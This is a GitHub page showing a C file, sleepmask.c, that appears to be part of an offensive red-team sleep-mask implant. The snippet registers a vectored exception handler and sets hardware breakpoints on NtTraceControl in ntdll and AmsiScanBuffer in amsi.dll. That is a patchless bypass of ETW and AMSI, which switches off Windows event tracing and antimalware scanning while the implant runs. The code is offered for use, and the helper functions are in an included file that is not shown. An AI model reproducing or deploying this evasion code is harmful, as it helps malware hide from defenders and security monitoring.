-
Notifications
You must be signed in to change notification settings - Fork 8
/
Copy pathsleepmask.c
38 lines (31 loc) · 880 Bytes
/
sleepmask.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
/*code snippets*/
#if _WIN64
#include "patchless.c"
//To keep track and set handler
BOOL init = FALSE;
#endif
/* In sleepmask main function*/
{
#if _WIN64
//Remove breakpoint
uintptr_t etwPatchAddr = (uintptr_t)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTraceControl");
uintptr_t amsiPatchAddr = (uintptr_t)GetProcAddress(LoadLibraryA("amsi.dll"), "AmsiScanBuffer");
if(init == TRUE)
{
set_hardware_breakpoints(etwPatchAddr, 0, FALSE, 0);
set_hardware_breakpoints(amsiPatchAddr, 1, FALSE, 0);
//RemoveVectoredExceptionHandler(exception_handler);
}
#endif
/*code snippets*/
#if _WIN64
// Set breakpoint
if (init == FALSE)
{
AddVectoredExceptionHandler(1, exception_handler);
init = TRUE;
}
set_hardware_breakpoints(etwPatchAddr, 0, TRUE, 0);
set_hardware_breakpoints(amsiPatchAddr, 1, TRUE, 0);
#endif
}